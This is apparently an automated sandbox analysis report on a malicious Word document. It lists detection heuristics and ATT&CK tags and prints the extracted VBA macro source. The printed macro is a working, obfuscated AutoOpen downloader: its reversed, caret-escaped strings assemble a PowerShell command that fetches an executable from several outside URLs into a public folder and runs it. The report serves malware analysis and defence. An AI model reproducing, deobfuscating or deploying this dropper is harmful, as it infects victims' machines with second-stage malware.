MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is a malicious Office document containing a VBA macro. The AutoOpen macro is designed to execute a shell command, likely to download and run a second-stage payload. The macro uses obfuscated string concatenation, making it difficult to determine the exact command or payload URL without further analysis. The presence of the AutoOpen macro and the general nature of the VBA code suggest a common macro-based malware delivery technique.
Heuristics 5
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ClamAV: Doc.Malware.Generic-6691363-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6691363-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5244 bytes |
SHA-256: 6ce3a156b6966514d3ab74e3b837ac1f6c25c44257e478442659ea4b91cdad76 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "KqWQqdkFA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const voNzXTHsmt = 0
Dim lEilE(2)
lEilE(0) = Left(lpjvjnC, 281)
lEilE(1) = Right(uiOtFk, 116)
Dim MwGfoE(3)
MwGfoE(0) = Left(lpjvjnC, 281)
MwGfoE(1) = Right(uiOtFk, 116)
MwGfoE(2) = Right(uiOtFk, 116)
Dim liVtw(3)
liVtw(0) = Mid(XCfwpd, 472, 862)
liVtw(1) = MidB(GPwUfidQ, 854, 299)
liVtw(2) = Left(lpjvjnC, 281)
Dim DzRFKQ(4)
DzRFKQ(0) = Right(uiOtFk, 116)
DzRFKQ(1) = Right(uiOtFk, 116)
DzRFKQ(2) = Mid(XCfwpd, 472, 862)
DzRFKQ(3) = Mid(XCfwpd, 472, 862)
Shell@ cnoVVWI + jnpqdbjuqC + ZaGSNbPYriJ, CInt(voNzXTHsmt)
Dim anmhY(3)
anmhY(0) = Mid(XCfwpd, 472, 862)
anmhY(1) = MidB(GPwUfidQ, 854, 299)
anmhY(2) = Left(lpjvjnC, 281)
Dim QHHQNa(3)
QHHQNa(0) = Left(lpjvjnC, 281)
QHHQNa(1) = Mid(XCfwpd, 472, 862)
QHHQNa(2) = Mid(XCfwpd, 472, 862)
Dim wbDvn(2)
wbDvn(0) = Mid(XCfwpd, 472, 862)
wbDvn(1) = Left(lpjvjnC, 281)
End Sub
Attribute VB_Name = "XLnwoARhBdU"
Function cnoVVWI()
Dim DcrPcj(2)
DcrPcj(0) = Left(lpjvjnC, 281)
DcrPcj(1) = Left(lpjvjnC, 281)
Dim iNYPH(3)
iNYPH(0) = Right(uiOtFk, 116)
iNYPH(1) = Left(lpjvjnC, 281)
iNYPH(2) = Right(uiOtFk, 116)
Dim IwwOw(2)
IwwOw(0) = Right(uiOtFk, 116)
IwwOw(1) = Mid(XCfwpd, 472, 862)
Dim EDGJzT(4)
EDGJzT(0) = Left(lpjvjnC, 281)
EDGJzT(1) = Left(lpjvjnC, 281)
EDGJzT(2) = Mid(XCfwpd, 472, 862)
EDGJzT(3) = Right(uiOtFk, 116)
Dim VoMin(5)
VoMin(0) = Right(uiOtFk, 116)
VoMin(1) = MidB(GPwUfidQ, 854, 299)
VoMin(2) = Left(lpjvjnC, 281)
VoMin(3) = Mid(XCfwpd, 472, 862)
VoMin(4) = Mid(XCfwpd, 472, 862)
KiAswiWYj = Format(Chr(12 + 7 + 5 + 12 + 63)) + "md /V:/" + Format(Chr(8 + 4 + 3 + 8 + 44)) + Format(Chr(4 + 2 + 1 + 4 + 23)) + "s^e^" + "t ^m" + Format(Chr(8 + 4 + 3 + 8 + 44)) + "=^ ^ " + "^ ^ ^ }}^{^h" + Format(Chr(12 + 7 + 5 + 12 + 63)) + "^t^a" + Format(Chr(12 + 7 + 5 + 12 + 63)) + "}^;^k^ae" + "rb^;^B^O^a$^ m^et^" + "I-^e^kov" + "nI^;)BOa^$ " + ",l^wB$(" + "^e^l^i^Fdao^ln^wo^D.TJ^h$^{yr" + "t{)L^GD^$^ n"
Dim UNijm(4)
UNijm(0) = Mid(XCfwpd, 472, 862)
UNijm(1) = Right(uiOtFk, 116)
UNijm(2) = Right(uiOtFk, 116)
UNijm(3) = Left(lpjvjnC, 281)
Dim OMfzM(3)
OMfzM(0) = Left(lpjvjnC, 281)
OMfzM(1) = Left(lpjvjnC, 281)
OMfzM(2) = Left(lpjvjnC, 281)
Dim jURLPs(2)
jURLPs(0) = Right(uiOtFk, 116)
jURLPs(1) = MidB(GPwUfidQ, 854, 299)
Dim NEtaoA(3)
NEtaoA(0) = MidB(GPwUfidQ, 854, 299)
NEtaoA(1) = Mid(XCfwpd, 472, 862)
NEtaoA(2) = Mid(XCfwpd, 472, 862)
puuILaISsPG = "^i^ ^lw" + "B^$(h" + Format(Chr(12 + 7 + 5 + 12 + 63)) + "aer^of^;^'e^x^e^.'+" + "^O^lA$^+'^\^" + "'^+" + Format(Chr(12 + 7 + 5 + 12 + 63)) + "i^l^bup^:vne$^=^BOa$^;'^" + "9^9^3^'" + " ^= ^Ol^A^$" + ";)^'^@^'(til^pS^.^'^i^a" + "f^Zo^O2" + Format(Chr(12 + 7 + 5 + 12 + 63)) + "/^ofn^i.a^y^er^t"
Dim SFADCY(5)
SFADCY(0) = Mid(XCfwpd, 472, 862)
SFADCY(1) = Left(lpjvjnC, 281)
SFADCY(2) = Mid(XCfwpd, 472, 862)
SFADCY(3) = Mid(XCfwpd, 472, 862)
SFADCY(4) = Mid(XCfwpd, 472, 862)
Dim ZqKvL(4)
ZqKvL(0) = MidB(GPwUfidQ, 854, 299)
ZqKvL(1) = Mid(XCfwpd, 472, 862)
ZqKvL(2) = MidB(GPwUfidQ, 854, 299)
ZqKvL(3) = Right(uiOtFk, 116)
Dim iRPiKD(4)
iRPiKD(0) = Left(lpjvjnC, 281)
iRPiKD(1) = Mid(XCfwpd, 472, 862)
iRPiKD(2) = Mid(XCfwpd, 472, 862)
iRPiKD(3) = Left(lpjvjnC, 281)
NnwhBBQbI = "^sa//:p^t^th@wrnw" + "Ngyy^Bz/s^u.^ohs^in//:^p^t^" + "th^@Agl^A^7a2R^pB" + "/r^b.m^o" + Format(Chr(12 + 7 + 5 + 12 + 63)) + ".tra^i^t^po//" + ":^p^tth@^j" + "Q^3^w^k^lw^qG/r^" + "b.^m^o" + Format(Chr(12 + 7 + 5 + 12 + 63)) + ".etrop^u^s^tn//:ptt" + "^h^@19V2^U^Sq^z/rb^.^" + "mo" + Format(Chr(12 + 7 + 5 + 12 + 63)) + "^.fr^o^d^s//:^" + "p^tt^h'" + "=L^GD^$;t" + "neil" + Format(Chr(8 + 4 + 3 + 8 + 44)) + "^beW^.teN" + " ^t" + Format(Chr(12 + 7 + 5 + 12 + 63)) + "^e^jbo"
Dim ulIRo(4)
ulIRo(0) = Right(uiOtFk, 116)
ulIRo(1) = Right(uiOtFk, 116)
... (truncated)
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